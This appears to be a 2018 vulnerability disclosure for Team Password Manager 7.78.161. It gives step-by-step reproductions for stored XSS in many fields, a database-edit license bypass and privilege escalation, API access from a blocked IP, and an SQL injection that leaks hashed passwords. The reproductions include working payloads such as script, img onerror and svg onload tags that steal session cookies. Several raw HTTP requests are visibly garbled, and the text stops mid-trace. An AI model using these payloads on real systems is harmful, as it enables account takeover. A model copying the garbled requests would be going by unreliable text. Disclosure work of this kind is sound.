March 08, 2018

## Team Password Manager Multiple Security Vulnerabilities

### **SYSTEMS INFORMATION:**

Version: 7.78.161

Vendor URL : http://teampasswordmanager.com/

### **VULNERABILITY DETAILS**

## Vulnerability #1: Stored Cross-site Scripting – Password Tag

Stored Cross-site Scripting vulnerability found in Password tags field. A user can create/modify Password and assign tags to it. User can inject the malicious code in tags field which will be executed whenever the page is loaded in browser.

## **RISK FACTOR: High**

URL: http://<server ip>/<tpm path>/index.php/pwd/aj\_edit\_save/0

#### Parameters: tags, hidden\_tags

As Normal user, Project Manager and IT user roles have permissions to create new password in assigned project. Using this vulnerability an attacker can control application by getting session cookie of any logged in user, which could also be 'admin' user.

#### How to reproduce:

- 1. Click on "New Password" button.
- 2. Select any project.
- Add following script in "Tag" field and press Enter or comma (,) "><script>alert(document.cookie)</script>

POST /tpm/index.php/pwd/aj_edit_save/0 HTTP/1.1
Kost:
User-Agent: Mosilla/5.0 (Windows NT 10.0; Win64; x64; xv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept=Language: en=VB;en;q=0.5
Accept-Encoding: gmip, deflate
Referer: index.php/pwd/view/20
Content-Type: application/x-wnww-form-urlencoded; charset=UTF-0
X-Requested-With: XMLHttpRequest
Content-Length: 463
Cookie: PHDSESSID
Connection: close
csif=0a0e314e326766567be3728649eeb311b4al806project_id=264password_id=06name=newpass6tags=6hidden-tags=82283E83Cscript#3Ealert(document.cookie)#3C%2Fscript#3E6access_info=https#3A%2F%2Fwrm.facebook.com6fa
ketextdonotautofill=Gusername=Muserl&faketextdonotautofill=Genail=Muser.comfakepwddonotautofill=Gpassword=abcdl234Gpassword_visibl==abcdl234Gfakepwddonotautofill2=Greeat_p
assword_visible=abcdl2346expiry_date_edit=&notes=

4. When next time you open that project it will show alert box with session cookie

← → C C //index.php/prj/view/11	
Home 🕵 Users / Groups 🔡 Log 👹 Settings	says
New Password New Project	PHPSESSID=nv84kp05oidbrcuqhb4cev5ek5
C Filter Tree	

## Vulnerability #2: Stored Cross-site Scripting – Project Tag

Stored Cross-site Scripting vulnerability found in Project and Subproject tags field. A user can create/modify Project and assign tags to it. User can inject the malicious code in tags field which will be executed whenever the page is loaded in browser.

URL: <u>http://<server\_ip>/<tpm path>/index.php/prj/aj\_edit\_save/0</u>

Parameters: tags, hidden\_tags

## **RISK FACTOR: High**

As Project Manager and IT user role have permissions to create new Project in assigned project. Using this vulnerability an attacker can control whole application by getting session cookie of any logged in user, which could also be 'admin' user.

#### How to reproduce:

- 1. Click on "New Project" button.
- 2. Fill project name.
- 3. Add following script in "Tag" field and press Enter or comma (,). "><script>alert(document.cookie)</script>



4. When next time you list all the projects, it will show alert box with session cookie.

← → C (①/index.php/prj/view/16	
Home 🥵 Users / Groups 📑 Log 🐞 Settings	says
New Password New Project	PHPSESSID=98996n100jk3nno0hcj13gccr5; TPM_LANG=ssssss
C Filter Tree	

# Vulnerability #3: Stored Cross-site Scripting – Project Name

Stored Cross-site Scripting vulnerability found in Project and Subproject Name field. A user can create/modify Project. User can inject malicious code to execute from password page.

URL: <u>http://<server\_ip>/<tpm path>/index.php/prj/aj\_edit\_save/0</u>

Parameter: name

### **<u>RISK FACTOR:</u>** High

As Project Manager and IT user role have permissions to create new Project in assigned project. Using this vulnerability an attacker can control whole application by getting session cookie of any logged in user, which could also be 'admin' user.

#### How to reproduce:

- 1. Click on "New Project" button.
- Add following script in "Name" field and fill other details.
   *"onclick=alert(document.cookie) tag*

POST /tpm/index.php/prj/aj_edit_save/0 HTTP/1.1
Rost:
User-Agent: Momilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gsip, deflate
Referer: / index.php/prj/view/44
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 143
Cookie: PHPSESSID= TPM_LANG=en
Connection: close
csrft=f9fal899f8783ee2b4c1586001c10d627f8fa3a2&project_id=0&parent_id=0&name=#22+onclick#3Dalert(document.cookie)+tag&tags=&hidden-tags=&notes

- 3. Open above created Project.
- 4. Click on "New Password" button.
- 5. Fill all the fields on New Password page and submit the page.
- 6. Now Go to view all the passwords.
- 7. Click on the project above created project, it will alert a popup with session cookie.

← → ♂ ☆	① <b>½</b> //index.php/pwd/all	E	🛡 🚖 🔍 Search	$\overline{\mathbf{A}}$
Home 🛛 🕵 Users / Groups	📑 Log - 🍈 Settings			🕹 admin
New Password New Project		Search Passwords		
C Filter Tree	Name / Project	Access / Username / Email / Password / Expiry	Updated 🗸	All Passwords
😔 Recent	newpass <u>onclick=alert(document.cookie)</u> tag		Mar 5, 2018 🛸	Filter by Project: onclick=alert(docu 1
🖗 Active 1	Total rows: 1			
Projects     Projects     Secent     Favorite     Ø Active 1		PHPSESSID=22pU/8xcmmdqur5h1th8074; TPI/_LANG=en		
L. Archived o		ок		

Vulnerability #4: Stored Cross-site Scripting – Password Access Information

Stored Cross-site Scripting vulnerability found in Password Access information field. A user can create/modify Password and add/modify access information of the specific Password. User can inject malicious code to execute from password page.

## **RISK FACTOR: High**

URL: http://<server ip>/<tpm path>/index.php/pwd/aj\_edit\_save/0

#### Parameters: access\_info

As Normal user, Project Manager and IT user roles have permissions to create new password in assigned project. Using this vulnerability an attacker can control whole application by getting session cookie of any logged in user, which could also be 'admin' user.

#### How to reproduce:

- 1. Click on "New Password" button.
- 2. Select any project.
- 3. Add following script in "Access" field and fill other details:

http://www.test.com/"<img src=a onerror=alert(document.cookie)>

POST / tpn/ index.php/pwd/aj_edit_save/0 HTTP/1.1
Host:
User-Agent: Mosilla/5.0 (Windows HT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: application/json, text/javascript, */*; q=0.01
Accept=Language: en=US,en;q=0.5
Accept-Encoding: gmip, deflate
Referer: index.php/prj/view/46
Content-Type: application/x=www=form=urlencoded; charset=UTF=0
X-Requested-With: XMLHvtpRequest
Content-Length: 410
Cookie: PXPSESSID= TPM_LANG=en
Connection: close
csrfw=51l=33220f30f57f3bea54a3laff51f52d75014b5project_id=456password_id=06name=newpass&tags=&hidden-tags=

4. When next time you open the project or view all the passwords the above payload will get executed and it will show alert box.

↔ ∀ ↔	M     M     /index.php/pwd/active	E 🛛	✿ Search
Home 🔏 Users / Group:	s 📑 Log 🍓 Settings		
New Password New Project		Search Passwords	
C Filter Tree	Name / Project	Access / Username / Email / Password / Expiry	Updated 😽
- G Recent	newpass newproject	Target="_blank" href="http://www.facebook.com/"	Mar 5, 2018 🚖
All 1	Total rows: 1	ОК	
Recent Favorite Active 1			
and the second s			

## Vulnerability #5: Stored Cross-site Scripting – Import Passwords

Stored Cross-site Scripting vulnerability found in Import Password functionality. All above mentioned vulnerabilities can be exploited using the import password functionality. This functionality allows user to import passwords and its information through csv format. If csv file contains vulnerable payloads for respective vulnerability, then it is possible to exploit it from three different locations.

#### **RISK FACTOR: High**

URL: http://<server ip>/<tpm path>/index.php/settings/import\_upload

Parameter: access\_info, tags, name

If the user uploads the vulnerable CSV file, then there is possibility of exploiting the application and getting the full control of application through 'admin' role.

#### How to reproduce:

- 1. Create CSV file with the format given on csv help page.
- 2. Put payload at the respective locations. Following is the sample csv file with each representing each payload.

#### **Project Name Payload**

" onclick=alert(1) tag,ddd



#### **Password Access Information Payload**

*Myproject,ddd,http://www.google.com/*"*<img src=a onerror=alert(2)*>



#### **Password tags Payload**

*Myproject,ddd,http://www.youtube.com/,User1,,test,Notes,"><svg onload=alert(3)>* 



- 3. Now Upload the file from Import Password page.
- 4. Next time when you open the respective Project or View all Passwords, the payload will get executed.

#### **Project Name payload execution**

← → ♂ ☆	/index.php/pwd/active	Zeria (1990)	✿ Search
📻 Home 🏾 🥵 Users / Groups 📑 Log 🚳 Settin			
New Password New Project		Search Passwords	
C Filter Tree Passwords - Passwords - Recent - Paole - Paole - Active I - Active I - Active I - Projects	Name / Project ddd onclick=alert(1) tag Total rows: 1	Access / Username / Email / Password / Expiry	Updated 🗢 Mar 5, 2018 🖇

**Password Access Information payload execution** 

↔ → ♂ ☆	/index.php/pwd/active	匡 🚥 🛡 🏠 🔍 s	earch
🚮 Home 🔹 Users / Groups 📑 Log 💩 Set			
New Password New Project		Search Passwords	
C Filter Tree	Name / Project	Access / Username / Email / Password / Expiry	Updated 🗸
- @ Recent - * Favorite	ddd Myproject	"target="_blank" href="http://www.google.com/" http://www.google.com/" http:// ht	Mar 5, 2018 🔺
	Total rows: 1	2	
Projects		ОК	
😍 Recent			
5 Active 2			

**Password Tags payload execution** 

← → ♂ ☆	ndex.php/prj/view/52		E … ♥ ☆	Q Search
📻 Home 🏾 🥵 Users / Groups 📑 Log 👹 Setting	•			
New Password New Project		Search Passwords		
C Filter Tree	Project: Myproject 🗉			
Projects	New Password New Subproject Change Parent Edit U	1	rchive Delete	
-   Favorite	Passwords I Security Log	3		
	Password Name	OK d / Exp	iry	Updated +
	ddd I Notes I Notes I Notes	<ul> <li>http://www.youtube.com/</li> <li>User1</li> <li>Show</li> </ul>		Mar 5, 2018 🚖
	Total rows: 1			

## Vulnerability #6: Stored Cross-site Scripting – My Passwords Access Information

Stored Cross-site Scripting vulnerability found in Password Access information field on "My Password" page of all users. A user can create/modify Password and add/modify access information of the specific Password. User can inject vulnerable script to execute from password page.

## **<u>RISK FACTOR:</u>** High

URL: <u>http://<server\_ip>/<tpm\_path>/index.php/mypwd/edit/<pwdid></u>

Parameter: access\_info

#### How to reproduce:

- 1. Go to "My Password" page by clicking on link on upper right hand corner (near logout button).
- 2. Click on "New Password".
- 3. Add following script in "Access" field and fill other details: http://www.test.com/"<svg onload=alert(10)>



4. Now when a user views passwords by clicking on "All Passwords" link, above code will get executed.

$( \epsilon ) \rightarrow \times \mathbf{\hat{\omega}}$	0	/index.php,	/mypwd/a			… 🖸 🕁
Home 🕺 Users / Group	s 🖪 Log 🤞	Settings				
My Account My Settings My	Passwords					
New Password			Search My Passwords			
All Passwords 1		Name		Acces		
		sdsfdsf			10	
					ОК	
				🙆 " target=	"_blank" href="http://a.com/"	
		Total rows: 1				
Team Password Manager - teampass	wordmanager.com	· EULA and other lice	nses - Help - Advanced Search Help			

# Vulnerability #7: Stored Cross-site Scripting – Import My Passwords

Stored Cross-site Scripting vulnerability found in Import Password functionality of My Password Page. Above mentioned vulnerability can be exploited using the import password functionality. This functionality allows user to import passwords and its information through csv format. If csv file contains vulnerable payloads for respective vulnerability, then it is possible to exploit it from three different locations.

## **<u>RISK FACTOR:</u>** High

#### URL: <u>http://<server\_ip>/<tpm path>/index.php/mysettings/import\_upload</u>

#### Parameter: access\_info, tags

## How to reproduce:

- 1. Create CSV file with the format given on csv help page.
- 2. Put vulnerable payload at the respective locations. Following is the sample csv file with each representing one payload.
- 3. Go to "My Password" page by clicking on link on upper right hand corner (near logout button).
- 4. Click on "My Settings" and navigate to "Import My Passwords"
- 5. Upload above created csv:

Password Access Information Payload

http://www.facebook.com/"<iframe onload=alert(5)>

```
POST /tpm/index.php/mysettings/import_upload HTTP/1.1
Host:
User-Agent: Momilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html, application/xhtml+xml, application/xml; q=0.9,*/*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gsip, deflate
Referer:
                / index.php/mysettings/ import
Content-Type: multipart/form-data; boundary=-----------------------46572859523195
Content-Length: 417
Cookie: PHPSESSID=kbpeg8cvsvlt0480jjpjqcmbh0; TPM LANG=AAAAAAAAAAA
Connection: close
Upgrade-Insecure-Requests: 1
-----46572859523195
Content-Disposition: form-data; name="csrft"
8b39687949773507974726b95d2172alff7e41a7
-----46572859523195
Content-Disposition: form-data; name="userfile"; filename="a.csv"
Content-Type: application/wnd.ms-excel
mypass,"http://www.facebook.com/""<iframe onload=alert(5)>",,,,,,,,,,,,,,,,,,
  -----46572859523195--
```

6. Now when a user views passwords by clicking on "All Passwords" link, above code will get executed.

Search My Passwords		
Search My Passwords		
▼ Search My Passwords		
	Acces	Updated 🗢
	5	
	ОК	
		Accer 5 CK w "target="_blank" href="http://www.facebook.cv

## Vulnerability #8: Stored Cross-site Scripting – My Password Tag

Stored Cross-site Scripting vulnerability found in My Password tags field. A user can create/modify Password and assign tags to it. User can inject the malicious code in tags field which will be executed whenever the page is loaded in browser.

#### **RISK FACTOR: High**

URL: <u>http://<server\_ip>/<tpm path>/index.php/mypwd/edit/0</u>

#### Parameters: tags, hidden\_tags

As Normal user, Project Manager and IT user roles also have permissions to create new password in assigned project. Using this vulnerability an attacker can control whole application by getting session cookie of any logged in user, which could also be 'admin' user.

#### How to reproduce:

- 1. Click on "New Password" button.
- 2. Select any project.
- 3. Add following script in "Tag" field and press Enter or comma (,). "><script>alert(document.cookie)</script>



- 4. Now Copy or Move the Password to Project.
- 5. When next time you open that project it will show alert box with session cookie

(i) 192.168.0.8/tpm/index.php/prj/view/66	🗉 😶 🔽 🔍 Search	
🍰 Users / Groups 📲 Log 👹 Settings		
New Project	Search Passwords	
Filter Tree         rds         ent         onte         tree 2         shwed         s         Passwords 2         Security Log         Passwords 2         Security Log         Passwords 2         Security Log         Complexitent Leagues 2         Image: Security Log         Complexitent Leagues 2         Image: Security Log         Complexitent Leagues 2         Image: Security Leagues 2 <th>Change Parent     Edit     Upload File     Security     C.F. Template     Auchow     Deleto       Updated ~       PHPSESSID=ed2rqb68stdqdr86ettpc305       Mar 5, 2018       CK</th> <th></th>	Change Parent     Edit     Upload File     Security     C.F. Template     Auchow     Deleto       Updated ~       PHPSESSID=ed2rqb68stdqdr86ettpc305       Mar 5, 2018       CK	
New Project      New Project: itproject      Project: itproject      Project: itproject      New Subprose     Passwords 2 Security Log      Password Name     newpass     Security Security      ddd     rescriptional contained contai	Search Passwords  Change Parent Edit Upload File Security C.F. Template Archav Delete  Updated ~  PHPSESSID=ed2rqb68stdqch68ettrr305 Prevent this page from creating additional dialogs Mar 5, 2018  OK Mar 5, 2018	

## Vulnerability #9: Stored Cross-site Scripting – Group Name

Stored Cross-site Scripting vulnerability found in Group Name field. A user can create new/modify group and add users to it. User can inject the malicious code in Group Name field which will be executed whenever the page is loaded in browser.

#### **RISK FACTOR: High**

URL: <u>http://<server\_ip>/<tpm\_path>/index.php/groups/edit/<group\_id></u>

Parameter: name

1. Add group with name: "><script>alert('xxx')</script>



- 2. Assign one user to a group
- 3. Go to User/Group Tab
- 4. Open above user's data page.
- 5. This page will show this users all information.
- 6. From here admin/IT user can remove this user from groups.
- 7. When the admin/IT user will click on the cross sign, it will redirect to different page and payload will get executed, as shown below:

Data	Log	Passwords	Projects	
			Username:	а
		E-r	mail address:	a@acd.com
			Name:	test
			Role:	lt
			Language:	Not set, using the default language: en - English Change Language
			Groups:	"> <script>alert('xxx')</script>
				Add the User to a Group

·· ·

					_									XX	х				
I	User: 1	test			1														
1	Active				L										C	0	к	]	
	Delete fr	om Gr	oup:	">							 1 1 1	82				128	33		
				8 55															

Vulnerability #10: Stored Cross-site Scripting – Group Name

Stored Cross-site Scripting vulnerability found in Group Name field. A user can create new/modify group and add users to it. User can inject the malicious code in Group Name field which will be executed whenever the page is loaded in browser.

## **<u>RISK FACTOR:</u>** High

URL: <u>http://<server\_ip>/<tpm\_path>/index.php/prj/getmembers/<group\_id></u>

#### Parameter: name

#### How to Reproduce:

1. Add group with name: "><script>alert('xxx')</script>



- 2. Open any Projects page
- 3. Click on Security button.

#### test

Projec	t: PMpro	oject 🔚								
Edit	Notes	Upload File	Custom Fields	Security	Locking	Ext. Sharing	Duplicate	Сору	Move	Delete
Data	Security	y Log		Edit	password se	curity				

- 4. On the Security Page, click on Groups tab.
- 5. This tab will list all the groups created in application.
- 6. Get the mouse over the members link besides above created group.
- 7. When mouse is over the members link, application sends ajax call to get the list of members in the group and it also executes payload present in group name field.

Edit Password Se Project: PMproject	ecurity: test		
Managed by	admin / Admin you Change		^
Password Security	Set permissions on this password to individual users and/or gro Show users/grou Users Group "> <a>: members</a>	oups: missions (Do not set)	
	"> <img/> : members	(Do not set)	
	"> <script>alert('xxx')</script> : <u>members</u>	(Do not set) ~	
Help on Permissions <ul> <li>(Do not set): an explitive their membership in generic their membership in generic their membership in generic their membership in generic their membership is found.</li> </ul>	icit permission is not set for the user/group. The effective permissio groups and the permission set in those groups, or the permission s d, no access will be given.	on for users is calculated based on et in the project of the password. If Cancel Sav	e

# Vulnerability #11: Stored Cross-site Scripting – Email Configuration

Stored Cross-site Scripting vulnerability found in SMTP user field on the SMTP configuration page. A user can add/modify SMTP Configuration. User can inject the malicious code in SMTP user field which will be executed whenever the page is loaded in browser.

## **RISK FACTOR: High**

URL: <u>http://<server\_ip>/<tpm path>/index.php/settings/edit\_mail\_config</u>

#### Parameter: eus

- 1. Go to Settings tab.
- 2. Click on Email link on Left side
- 3. Click on SMTP Server Configuration
- 4. Enter following in SMTP user field: <*img src=a onerror=alert('smtperror')*
- 5. **Check the checkbox** of "Use the SMTP User as the email sender (otherwise it will use the email of the user). If selected, the SMTP User must be an email address."
- 6. Fill the detail on the page and Save the page.

SMTP Host	localhost	Leave blank to delete SMTP configuration
TLS/SSL Encryption	(none)	
SMTP Port	25	
SMTP User	<img onerror="alert('smtperror')&lt;/td" src="a"/> <td></td>	
SMTP Password	•••••	

🗹 Use the SMTP User as the email sender (otherwise it will use the email of the user). If selected, the SMTP User must be an email address.

- 7. Click on "Send test email (to yourself)" button.
- 8. It will execute payload and show alert box

220 localhost.localdomain ESMTP Postfix	
hello: 250-localhost.localdomain	
250-PIPELINING	
250-SIZE 10240000	
250-VRFY	smtperror
250-ETRN	
250-ENHANCEDSTATUSCODES	
250-8BITMIME	ОК
250 DSN	
Failed to send AUTH LOGIN command. Error: 503 5.5.1 Error: authentic	ation not enabled
from: 501 5.1.7 Bad sender address syntax	
The following SMTP error was encountered: 501 5.1.7 Bad sender addre	ss syntax
to: 503 5.5.1 Error: need MAIL command	
The following SMTP error was encountered: 503 5.5.1 Error: need MAIL	command
data: 503 5.5.1 Error: need RCPT command	
The following SMTP error was encountered: 503 5.5.1 Error: need RCPT	command
221 2.7.0 Error: I can break rules, too. Goodbye.	
The following SMTP error was encountered: 221 2.7.0 Error: I can bre	ak rules, too. Goodbye.
Unable to send email using PHP SMTP. Your server might not be confi	gured to send mail using this method.
User-Agent: Team Password Manager	
Date: Wed. 7 Mar 2018 17:39:38 +0000	
From: "Team Password Manager"	
Return-Path:	

# Vulnerability #12: Stored Cross-site Scripting –Additional Data in Log

Stored Cross-site Scripting vulnerability found in Logs. Whenever user uploads any file through project page, log with file name gets generated and can be seen in Log Tab. User can inject the malicious code in file name field, which will be executed whenever the page is loaded in browser.

0 X

## **RISK FACTOR: High**

URL: <u>http://<server\_ip>/<tpm path>/index.php/files/do\_upload/pwd/<pwd id>/js</u>

http://<server ip>/<tpm path>/index.php/files/do\_upload/prj/<project id>/js

### Parameter: filename

#### How to Reproduce:

- 1. Go to a Project. Click Upload File.
- 2. Click Browse. Select a file to upload.
- 3. Start Burp Intercept & click upload.
- 4. Add XSS payload on the file-name field as below:
- POST request to ndex.php/files/do\_upload/prj/3/js

Previous Next	Action
Original request Edited request Response	
Raw Params Headers Hex	
Firefox/58.0	
Accept: */*	
Accept-Language: en-US,en;q=0.5	
Accept-Encoding: gzip, deflate	
index.php/prj/view/3	
Content-Length: 461	
Jourdan v=285162711510935	
Jookie: PHPSESSID=5nmanusimisk7564o539ggehk5	
Connection: close	
285162711510935	
Content-Disposition: form-data; name="userfile"; filename=" <mark>&gt;<img src="x&lt;/mark"/></mark>	
pnerror=alert('upload-file-delete-XSS')>"	
Content-Type: text/plain	
lfdsfsdfsdf	
Content-Disposition: form-data; name="notes"	
285162711510935	
Content-Disposition: form-data; name="csrft"	
? < + > <img onerror="alert('upload-file-delete-XSS')" src="x"/>	1 match

5. Now go to Log Tab, it will execute the payload.

Activity L	og   TeamPassw	ordM × +				- 0	×
)́→ × ໔	}	0	n/index.php	/alog	… 🛛 🕁	lin 🖸	≡
Home							lí
ilter							
late / Time 🛩	IP Addr.	User	Action	Related Project / Password	Additional Data	Origin	
tar 9, 2018 0:38	_	Admin Admin	View	pload-file-delete-XSS		Web	
tar 9, 2018 0:37	_	Admin Admin	View	OK		Web	
tar 9, 2018 0:37	-	Admin Admin	View			Web	
tar 9, 2018 0:36		Admin Admin	View log			Web	
tar 9, 2018 0:35		Admin Admin	View project	Project: <iing src="x&lt;br">onerror=alert(Project-XSS')&gt;</iing>	tab=files	Web	
tar 9, 2018 0:35	-	Admin Admin	Delete file	Project: <img src="x&lt;br"/> onerror=alert(Project-XSS')>	1	Web	
tar 9, 2018 0:33		Admin Admin	View file notes	Project: <img src="x&lt;br"/> onerror=alert(Project-XSS')>	1	Web	
ting for	- Alexandre	dmin	Edit file notes	Project: <img src="x&lt;/td"/> <td>&gt;B</td> <td>Web</td> <td></td>	>B	Web	

6. Payload is executed for all the actions like "Upload File, Edit File Notes, View file notes, Delete File"

## Vulnerability #13: License Bypass

A person who has access to database can bypass the number of users' license.

## **RISK FACTOR: High**

## How to Reproduce:

1. Create users and deactivate few of them.

All users 6	Name	Username / E-mail address	Role / Nº Groups 🔺	State
Filter by State:	Admin Admin you	admin /	Admin / 1	Active
Active 5 Inactive 1	test1	test1 / abcd@scd.com	IT / 0	Inactive
Filter by Role:	newact	newact / dd@c.com	IT / 0	Active
Admin 1 IT 2	test	test / abcd@123.com	Normal user / 0	Active
Normal user 1 Project manager 1	userenum	userenum / userenum@d.t	Project manager / 1	Active
Read only 1	Ghost User	ghost.user / ghost@localhost.localdomain	Read only / 1	Active
Filter by Group:	Total rows: 6			

Ma	ariaD	B [tpm_databas	se]> sel	lect id, n	ame,role,active	<pre>from wmm_users;</pre>
į	id	name	role	active		
	1   2   3	Admin Admin userenum Ghost User	1 2 3	1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1		
+-	5 0	newact	4 4 +	U 1	+	

2. Now application will allow to create more users as per license.

3. Now change the contents of 'active' column of 'wmm\_users' table and make it as 1 for all deactivated users.

MariaDB [tpm_database]> update wmm_users set active=1 where name='test1'; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 0 MariaDB [tpm_database]> select_id_name_role.active_from wmm_users;								
harrab.		- J > Je.	Leet 10, ne	and, rore, ager to rrow while agers,				
	name	role	active					
	Admin Admin   userenum   Ghost User	1 2 3	1					
	test	0						
5	test1	4	1					
6	newact	4	1					
++ 6 rows	6 rows in set (0.00 sec)							
MariaD	ariaDB [tpm_database]>							

4. Now application has more active users than license.

	[	Search Users				
	Number of active users: 6. Total number of active users allowed by your license(s): 5. You have more active users that the number allowed by your licenses(s). Until this situation is corrected you cannot use Team Password Manager. You have 2 options: 1. Delete or deactivate the following number of users: 1. 2. Increase the number of maximum active users with a new license. Click the following link to purchase additional licenses from the Team Password Manager website. http://teampasswordmanager.combay/					
All users 6	Name	Username / E-mail address	Role / Nº Groups 🔺	State		
Filter by State:	Admin Admin you	admin /	Admin / 1	Active		
Active e Interby Role: Admin 1 IT 2 Normal user 1 Project manager 1 Read only 1	test1	test1 / abcd@scd.com	IT / 0	Active		
	newact	newact / dd@c.com	IT / 0	Active		
	test	test / abcd@123.com	Normal user / 0	Active		
	userenum	userenum / userenum@d.t	Project manager / 1	Active		
	Ghost User	ghost.user / ghost@localhost.localdomain	Read only / 1	Active		
Filter by Group: test' 3	Total rows: 6					
Team Password Manager - teampasswordmanager.com - EULA and other Legness - Help - Advanced Search Help						

# Vulnerability #14: Privilege Escalation

A valid user, who also has access to Database can escalates its role by just changing the one value in Database 'wmm\_users' table.

TPM is password management application and may contain credential information across various projects or departments. The team managing operating system and database systems should not get access to other project credentials in any way.

Using privilege escalation issue a user which has control over backend database may modify permission level and get access to TPM application as "admin" level user. This allows user to control TPM application fully and access all project credentials available in application.

## **RISK FACTOR: Medium**

#### How to Reproduce:

1. Create one user with minimum privileges.

Username: E-mail address: Name: Role: Language:	newact dd@c.com newact Read only Not set, using the default language: en - English Change Language
Groups:	Add the User to a Group



2. Now login to database and change the value of role of 'newact' user from 3 to '1'.

<pre>ariaDB [tpm_database]&gt; update wmm_users set role=1 where name='newact'; auery OK, 1 row affected (0.00 sec) www matched: 1 Changed: 1 Warnings: 0 fariaDB [tpm_database]&gt; select id.name.role from wmm_users;</pre>
id   name   role
1   Admin Admin   1
2   userenum   2
3   Ghost User   3
4   test   0
5 test1 4
6   newact   1
rows in set (0.00 sec)
ariaDB [tpm_database]> []

3. The 'newact' user now will have admin privileges.

Username:	newact
E-mail address:	dd@c.com
Name:	newact
Role:	Admin
Language:	Not set, using the default language: en - English Change Language
Groups:	Add the User to a Group

# Vulnerability #15: API Access from Blocked IP

Web Application denies access to IP, which is blocked from 'IP address blocking' page. But Application resources can be accessed through API.

#### **RISK FACTOR: Medium**

#### How to Reproduce:

1. Block any IP from 'IP address blocking page.

← → C <sup>2</sup> û ③ 192	2.168.0.8/tpm/index.php/settings/ipb_filter	t/m		e C	🤉 🟠 🔍 Search	
🚮 Home 🥵 Users / Groups 📑 Log	g 🛞 Settings					
		You're using the FREE VERS	ON of Team Password Manager, which only <u>Click here for more users and proje</u>	r allows you to have 2 users and e <u>ects</u>	d 5 projects.	
Oveniew Version checker Licenses Export / import Email	IP Adress Blocking Cor Your IP address: 192.168.0.6	figuration				
Two-Factor Auth. IP address blocking Pwd. generator LDAP authentication	New IP to block		Search IPs			
Timeout Encrypt DB Config API Expiration	All IPs 1	The IP addresses listed here of Note that blocking validation is	annot access this installation of learn Pas done only at the "Sign in" screen, so user Type	sword Manager. s already logged in when an ad Creator	dress is added will not be blocked. Date/Time A	
C. Field Templates External Sharing Languages	Filter by Type: Manual 1 Automatic 0	192.168.0.7 Total rows: 1	Manual	admin	Mar 10, 2018 13:00	Delete

Team Password Manager - teampasswordmanager.com - EULA and other licenses - Help - Advanced Search Help

2. Try to access, web application from blocked IP. It will show 403 page.



3. Access Application Resources using API from the blocked IP. Application allows to access its resources from blocked IP.

root@kali: ~		- • ×
File Edit View Search Terminal Help		
<pre>rootekal:-# curl -u test:abcdl234 -H 'Content-Type: application/json; charset=utf-8' -i 'http://192.168.0.8/tpm/index.php/ HTTP/1.1 200 0K</pre>	api/v4/generate_password.json' root@kali:	
uate: sat, l0 Mar 2018 13:80:13 GM Server: Apache/2.4.6 (CentOS) openSSL/1.0.2k-fips PHP/7.0.27 X-Powerd-By: PHP/7.0.27 Content-Length: 92 Content-Type: application/json; charset=utf-8	File Edit View Search Terminal Help roottikali: ifconfg ethi: flags=163:-UP.BRADCAST,RUNNING.MULTICAST> mtu 1500 inet [192.168.0.7] metmask 255.255.255.0 broadcast 192.168.0.255	ŕ
{"password":"Fz9<4>7\/\/>C0 <en1\></en1\> Bu5<3>Ub2\/8 <zs6\ d0="">t5&lt;0x6&gt;9&lt;\/Hm8&gt;\/Ia1<q3\ t14<dg2="">Wh"} oot@kali:-# []</q3\></zs6\>	1Neto Te80::300:271T:Te50:343a pre11xten 64 scopeid 0x20 <link/> ether 08:00:27:65:54:5a txqueuelen 1000 (Ethernet) RX packets 15229 bytes 8019648 (7.6 MiB)	
Mozilla Firefox (Build 20170809204109) – 🗆 🗙	RX errors 0 dropped 0 overruns 0 frame 0	
http://192.168.0.8/tpm/ × +	TX packets 12298 bytes 1/30555 (1.6 MIB) TX errors 1 dropped 0 overruns 0 carrier 1 collisions 0 device interrunt 19 base 0x4020	
(<) © 192168.0.81pm/	lo: flags=73 <up,loopback,running> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0</up,loopback,running>	
Error Access Forbidden (Error 403)	inet6 :12 prefix1en 128 scopeid 0x10-host- loop txqueuelen 1000 (Local Loopback) RX packets 2205/ bytes 9150189 (8.7 M18) RX errors 0 dropped 0 overruns 0 frame 0 TX pockets 2205/ bytes 9150189 (8.7 M18) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0	
	root@kali:~#	

# Vulnerability #16: SQL Injection on Edit User page

SQL Injection found on Edit User page. By changing the \$group parameter in Request, causes the application show error message in browser, which also **shows the hashed password of the user** whose id is present in \$user\_id parameter.

## **<u>RISK FACTOR:</u>** Medium

URL: <u>http://<server\_ip>/<tpm path>//tpm/index.php/users/add\_to\_group/<user\_id></u>

## Parameter: group

### How to Reproduce:

- 1. Go to User/Group tab and open any user data.
- 2. Click on 'Add the User to the Group' button.
- 3. Select the group in which you want to add that user.
- 4. Click on "Save"

5. In Burp modify the group parameter like below: POST /tpm/index.php/users/add\_to\_group/23 HTTP/1.1 Host: xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx/tpm/index.php/users/add\_to\_group/23 Content-Type: application/x-www-form-urlencoded Content-Length: 68 Cookie: PHPSESSID=4r50jvt00c8sddunqd0ckaki45; TPM\_LANG=ffffffffff Connection: close Upgrade-Insecure-Requests: 1

csrft=7c3455dcec5d22cf6419fed05af9131aa8252430&user\_id=24&group=18''

6. Following is the Response of above query:

```
There has been the following exception, please send it to Team Password Manager support (http://teampasswordmanager.com/support/):
ErrorException Object
    [message:protected] => Undefined index: 18''
    [string:Exception:private] =>
    [code:protected] => 8
[file:protected] => /var/www/html/tpm/wmm/controllers/users.php
[line:protected] => 1716
    [trace:Exception:private] => Array
        (
             [0] => Array
                 (
